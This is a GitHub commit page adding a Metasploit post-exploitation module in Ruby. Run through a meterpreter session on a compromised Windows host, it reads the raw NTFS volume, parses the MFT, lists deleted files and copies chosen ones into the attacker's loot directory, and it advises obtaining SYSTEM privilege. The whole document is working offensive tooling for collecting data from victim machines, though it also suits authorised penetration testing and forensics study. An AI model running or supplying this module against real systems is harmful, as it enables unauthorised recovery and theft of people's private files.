Skip to content

Commit d086407

Browse files
committed
added post module forensics recovery files
1 parent 9086c53 commit d086407

File tree

1 file changed

+371
-0
lines changed

1 file changed

+371
-0
lines changed
Lines changed: 371 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,371 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
class Metasploit3 < Msf::Post
9+
10+
def initialize(info={})
11+
super( update_info( info,
12+
'Name' => 'Windows Gather Recovery Files',
13+
'Description' => %q{
14+
This module list and try to recover deleted files from NTFS file systems.},
15+
'License' => MSF_LICENSE,
16+
'Platform' => ['win'],
17+
'SessionTypes' => ['meterpreter'],
18+
'Author' => ['Borja Merino <bmerinofe[at]gmail.com>']
19+
))
20+
register_options(
21+
[
22+
OptString.new('FILES',[false,'ID or extensions of the files to recover in a comma separated way.',""]),
23+
OptString.new('DRIVE',[true,'Drive you want to recover files from',"C:"]),
24+
], self.class)
25+
end
26+
27+
def run
28+
winver = session.sys.config.sysinfo["OS"]
29+
if winver =~ /2000/i
30+
print_error("Module not valid for Windows 2000")
31+
end
32+
33+
drive = datastore['DRIVE']
34+
print_status("Drive: #{drive} OS: #{winver}")
35+
fs = file_system(drive)
36+
37+
if fs =~ /ntfs/i
38+
type=datastore['FILES']
39+
files=type.split(',')
40+
#To extract files from its IDs
41+
if datastore['FILES'] != "" and is_numeric(files[0])
42+
r = client.railgun.kernel32.CreateFileA("\\\\.\\" << drive, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING","FILE_FLAG_WRITE_THROUGH",0)
43+
if r['GetLastError']==0
44+
recover_file(files,r['return'])
45+
client.railgun.kernel32.CloseHandle(r['return'])
46+
else
47+
print_error("Error opening #{drive} GetLastError=#{r['GetLastError']}")
48+
print_error("Try to get SYSTEM Privilege") if r['GetLastError']==5
49+
end
50+
#To show deleted files (FILE="") or extract the type of file specified by extension
51+
else
52+
handle = get_mft_info(drive)
53+
if handle != nil
54+
data_runs = mft_data_runs(handle)
55+
print_status("It seems that MFT is fragmented (#{data_runs.size-1} data runs)") if (data_runs.count > 2)
56+
deleted_files(data_runs[1..-1], handle,files)
57+
end
58+
end
59+
else
60+
print_error("The file system is not NTFS")
61+
end
62+
end
63+
64+
def get_high_low_values(offset)
65+
#Always positive values.
66+
return [offset,0] if (offset < 4294967296)
67+
bin=offset.to_s(2)
68+
#Strange Case. The MFT datarun would have to be really far
69+
return [bin[-32..-1].to_i(2),bin[0..bin.size-33].to_i(2)]
70+
end
71+
72+
#Function to recover the content of the file/files requested
73+
def recover_file(offset,handle)
74+
ra = file_system_features(handle)
75+
bytes_per_cluster = ra['lpOutBuffer'][44,4].unpack("V*")[0]
76+
#Offset could be in a comma separated list of IDs
77+
for i in 0..offset.size-1
78+
val = get_high_low_values(offset[i].to_i)
79+
client.railgun.kernel32.SetFilePointer(handle,val[0],val[1],0)
80+
rf = client.railgun.kernel32.ReadFile(handle,1024,1024,4,nil)
81+
name = get_name(rf['lpBuffer'][56..-1])
82+
print_status("File to download: #{name}}")
83+
print_status("Getting Data Runs ...")
84+
data=get_data_runs(rf['lpBuffer'][56..-1])
85+
if data == nil
86+
print_error("There were problems to recover the file: #{name}")
87+
next
88+
end
89+
host = session.sess_host
90+
logs = ::File.join(Msf::Config.loot_directory)
91+
dumpfile = logs + ::File::Separator + session.session_host + "-File-" + offset[i] + "-" + name
92+
file = File.open(dumpfile, "ab")
93+
#If file is resident
94+
if data[0]==0
95+
print_status ("The file is resident. Saving #{name} ... ")
96+
file.write(data[1])
97+
print_good("File saved: #{dumpfile}")
98+
file.close
99+
#If file no resident
100+
else
101+
size=get_size(rf['lpBuffer'][56..-1])
102+
print_status ("The file is not resident. Saving #{name} ... (#{size} bytes)")
103+
base=0
104+
#Go through each of the data runs
105+
for i in 1..data.count-1
106+
datarun=get_datarun_location(data[i])
107+
base=base+datarun[0]
108+
size=save_file([base,datarun[1]],size,file,handle)
109+
end
110+
file.close
111+
print_good("File saved: #{dumpfile}")
112+
end
113+
end
114+
end
115+
116+
#Save the no resident file to disk
117+
def save_file(datarun,size,file,handle)
118+
ra = file_system_features(handle)
119+
bytes_per_cluster = ra['lpOutBuffer'][44,4].unpack("V*")[0]
120+
distance = get_high_low_values(datarun[0]*bytes_per_cluster)
121+
client.railgun.kernel32.SetFilePointer(handle,distance[0],distance[1],0)
122+
#Buffer chunks to store in disk. Modify this value as you wish.
123+
buffer_size=8
124+
division=datarun[1]/buffer_size
125+
rest=datarun[1] % buffer_size
126+
print_status("Number of chunks: #{division} Rest: #{rest} clusters Chunk size: #{buffer_size} clusters ")
127+
if (division > 0)
128+
for i in 1..division
129+
if (size>bytes_per_cluster*buffer_size)
130+
rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*buffer_size,bytes_per_cluster*buffer_size,4,nil)
131+
file.write(rf['lpBuffer'])
132+
size=size-bytes_per_cluster*buffer_size
133+
print_status("Save 1 chunk of #{buffer_size*bytes_per_cluster} bytes, there are #{size} left")
134+
#It's the last datarun
135+
else
136+
rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*buffer_size,bytes_per_cluster*buffer_size,4,nil)
137+
file.write(rf['lpBuffer'][0..size-1])
138+
print_status("Save 1 chunk of #{size} bytes")
139+
end
140+
end
141+
end
142+
143+
if (rest > 0)
144+
#It's the last datarun
145+
if (size<rest*bytes_per_cluster)
146+
rf = client.railgun.kernel32.ReadFile(handle,rest*bytes_per_cluster,rest*bytes_per_cluster,4,nil)
147+
#Don't save the slack space
148+
file.write(rf['lpBuffer'][0..size-1])
149+
print_status("(Last datarun) Save 1 chunk of #{size}")
150+
else
151+
rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*rest,bytes_per_cluster*rest,4,nil)
152+
file.write(rf['lpBuffer'])
153+
size=size-bytes_per_cluster*rest
154+
print_status("(No last datarun) Save 1 chunk of #{rest*bytes_per_cluster}, there are #{size} left")
155+
end
156+
end
157+
return size
158+
end
159+
160+
#Function to get the logical cluster and the offset of each datarun
161+
def get_datarun_location(datarun)
162+
163+
n_log_cluster = datarun.each_byte.first.divmod(16)[0]
164+
n_offset = datarun.each_byte.first.divmod(16)[1]
165+
166+
log_cluster = datarun[-(n_log_cluster)..-1]
167+
offset = datarun[1..n_offset]
168+
169+
log_cluster << "\x00" if (log_cluster.size % 2 != 0)
170+
offset << "\x00" if (offset.size % 2 != 0)
171+
#The logical cluster value could be negative so we need to get the 2 complement in those cases
172+
if log_cluster.size == 2
173+
int_log_cluster = log_cluster.unpack('s*')[0]
174+
elsif log_cluster.size == 4
175+
int_log_cluster = log_cluster.unpack('l')[0]
176+
end
177+
178+
if offset.size == 2
179+
int_offset = offset.unpack('v*')[0]
180+
else
181+
int_offset = offset.unpack('V')[0]
182+
end
183+
return int_log_cluster,int_offset
184+
end
185+
186+
#Go though the datarun and save the wanted files
187+
def go_over_mft(logc,offset,handle,files)
188+
dist=get_high_low_values(logc)
189+
client.railgun.kernel32.SetFilePointer(handle,dist[0],dist[1],0)
190+
for i in 1..offset
191+
#If FILE header and deleted file (\x00\x00)
192+
rf = client.railgun.kernel32.ReadFile(handle,1024,1024,4,nil)
193+
if (rf['lpBuffer'][0,4]=="\x46\x49\x4c\x45") and (rf['lpBuffer'][22,2] == "\x00\x00")
194+
name = get_name(rf['lpBuffer'][56..-1])
195+
if name!=nil
196+
print_status("Name: #{name} ID: #{logc}")
197+
#If we want to save it according to the file extensions
198+
if files!="" and files.include? File.extname(name.capitalize)[1..-1]
199+
print_good("Hidden file found!")
200+
recover_file([logc.to_s],handle)
201+
dist=get_high_low_values(logc+1024)
202+
#We need to restore the pointer to the current MFT entry
203+
client.railgun.kernel32.SetFilePointer(handle,dist[0],dist[1],0)
204+
end
205+
end
206+
#MFT entry with no FILE '\x46\x49\x4c\x45' header or its not a deleted file (dir, file, deleted dir)
207+
else
208+
logc = logc + 1024
209+
next
210+
211+
end
212+
logc = logc + 1024
213+
end
214+
end
215+
216+
#Recieve the MFT data runs and list/save the deleted files
217+
#Useful cheat_sheet to understand the MFT structure: http://www.writeblocked.org/resources/ntfs_cheat_sheets.pdf
218+
#Recap of each of the attributes: http://runenordvik.com/doc/MFT-table.pdf
219+
def deleted_files(data_runs,handle,files)
220+
ra = file_system_features(handle)
221+
bytes_per_cluster = ra['lpOutBuffer'][44,4].unpack("V*")[0]
222+
mft_logical_offset = ra['lpOutBuffer'][64,8].unpack("V*")[0]
223+
print_status("$MFT is made up of #{data_runs.size} dataruns")
224+
base=0
225+
real_loc=[]
226+
for i in 0..data_runs.size-1
227+
datar_info = get_datarun_location(data_runs[i])
228+
base=base+datar_info[0]
229+
print_status("MFT data run #{i+1} is at byte #{base*bytes_per_cluster}. It has a total of #{datar_info[1]} clusters")
230+
#Add to the beginning
231+
real_loc.unshift([base*bytes_per_cluster,(bytes_per_cluster*datar_info[1])/1024])
232+
end
233+
234+
#We start for the last data run to show quiet sooner deleted files
235+
for i in 0..data_runs.size-1
236+
print_status("Searching deleted files in data run #{data_runs.size-i} ... ")
237+
go_over_mft(real_loc[i][0],real_loc[i][1],handle,files)
238+
end
239+
240+
print_good("MFT entries finished")
241+
client.railgun.kernel32.CloseHandle(handle)
242+
end
243+
244+
def get_name(entry)
245+
data_name=get_attribute(entry,"\x30\x00\x00\x00")
246+
return nil if data_name==nil
247+
lenght = data_name[88,1].unpack('H*')[0].to_i(16)
248+
return data_name[90,lenght*2].delete("\000")
249+
end
250+
251+
def get_size(entry)
252+
data=get_attribute(entry,"\x80\x00\x00\x00")
253+
return if data==nil
254+
return data[48,8].unpack('V*')[0]
255+
end
256+
257+
#Gets the NTFS information and return a pointer to the beginning of the MFT
258+
def get_mft_info(drive)
259+
r = client.railgun.kernel32.CreateFileA("\\\\.\\" << drive, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING","FILE_FLAG_WRITE_THROUGH",0)
260+
261+
if r['GetLastError']!=0
262+
print_error("Error opening #{drive} GetLastError=#{r['GetLastError']}")
263+
print_error("Try to get SYSTEM Privilege") if r['GetLastError']==5
264+
return nil
265+
else
266+
ra = file_system_features(r['return'])
267+
bytes_per_cluster = ra['lpOutBuffer'][44,4].unpack("V*")[0]
268+
mft_logical_offset = ra['lpOutBuffer'][64,8].unpack("V*")[0]
269+
offset_mft_bytes = mft_logical_offset * bytes_per_cluster
270+
print_status("Logical cluster : #{ra['lpOutBuffer'][64,8].unpack('h*')[0].reverse}")
271+
print_status("NTFS Volumen Serial Number: #{ra['lpOutBuffer'][0,8].unpack('h*')[0].reverse}")
272+
print_status("Bytes per Sector: #{ra['lpOutBuffer'][40,4].unpack('V*')[0]}")
273+
print_status("Bytes per Cluster: #{bytes_per_cluster}")
274+
print_status("Length of the MFT (bytes): #{ra['lpOutBuffer'][56,8].unpack('V*')[0]}")
275+
print_status("Logical cluster where MTF starts #{mft_logical_offset}")
276+
#We set the pointer to the begining of the MFT
277+
client.railgun.kernel32.SetFilePointer(r['return'],offset_mft_bytes,0,0)
278+
return r['return']
279+
end
280+
end
281+
282+
def file_system_features(handle)
283+
fsctl_get_ntfs_volume_data = 0x00090064
284+
return client.railgun.kernel32.DeviceIoControl(handle,fsctl_get_ntfs_volume_data,"",0,200,200,4,nil)
285+
end
286+
287+
def mft_data_runs(handle)
288+
#Read the first entry of the MFT (the $MFT itself)
289+
rf = client.railgun.kernel32.ReadFile(handle,1024,1024,4,nil)
290+
#Return the list of data runs of the MFT
291+
return get_data_runs(rf['lpBuffer'][56..-1])
292+
end
293+
294+
#This function receive a string pointing to the first attribute of certain file entry and returns an array of data runs
295+
#of that file. The first element will be 1 or 0 depending on whether the attribute is resident or not. If it's resident
296+
#the second element will be the content itself, otherwise (if not resident) each element will contain each of
297+
#the data runs of that file
298+
def get_data_runs(data)
299+
#We reach de DATA attribute
300+
data_runs=get_attribute(data,"\x80\x00\x00\x00")
301+
return nil if data_runs == nil
302+
print_status("File compressed/encrypted/sparse. Ignore this file if you get errors") if ["\x01\x00", "\x00\x40", "\x00\x80"].include? data_runs[12,2]
303+
#Check if the file is resident or not
304+
resident = data_runs[8,1]
305+
if resident=="\x00"
306+
inf = [0]
307+
inf << get_resident(data_runs)
308+
return inf
309+
else
310+
inf = [1]
311+
#Get the offset of the first data run from $DATA
312+
dist_datar = data_runs[32,2].unpack('v*')[0]
313+
datar = data_runs[dist_datar..-1]
314+
#Get an array of data runs. If this array contains more than 1 element the file is fragmented.
315+
lengh_dr = datar.each_byte.first.divmod(16)
316+
while (lengh_dr[0]!=0 && lengh_dr[1]!=0)
317+
chunk = datar[0,lengh_dr[0]+lengh_dr[1]+1]
318+
inf << chunk
319+
datar= datar[lengh_dr[0]+lengh_dr[1]+1..-1]
320+
begin
321+
lengh_dr = datar.each_byte.first.divmod(16)
322+
rescue
323+
return nil
324+
end
325+
end
326+
return inf
327+
end
328+
end
329+
330+
#Get the content of the file when it's resident
331+
def get_resident(data)
332+
start= data[20,2].unpack('v*')[0]
333+
offset= data[16,4].unpack('V*')[0]
334+
return data[start,offset]
335+
end
336+
337+
#Find the attribute requested in the file entry and returns a string with all the information of that attribute
338+
def get_attribute(str,code)
339+
i=1
340+
while
341+
header = str[0,4]
342+
size_att = str[4,4].unpack('V*')[0]
343+
if header == code
344+
data_runs = str[0..size_att]
345+
break
346+
else
347+
#To avoid not valid entries or the attribute doesn't not exist
348+
return nil if (size_att>1024) or header == "\xff\xff\xff\xff"
349+
str = str[size_att..-1]
350+
end
351+
#Avoid infinite loops (some attributes do not exist)
352+
if i==15
353+
print_status("Attibute not found")
354+
return nil
355+
end
356+
i=i+1
357+
end
358+
return data_runs
359+
end
360+
361+
#Get the type of file system
362+
def file_system(drive)
363+
r = client.railgun.kernel32.GetVolumeInformationA(drive+"//",4,30,4,4,4,4,30)
364+
fs = r['lpFileSystemNameBuffer']
365+
return fs
366+
end
367+
368+
def is_numeric(o)
369+
true if Integer(o) rescue false
370+
end
371+
end

0 commit comments

Comments
 (0)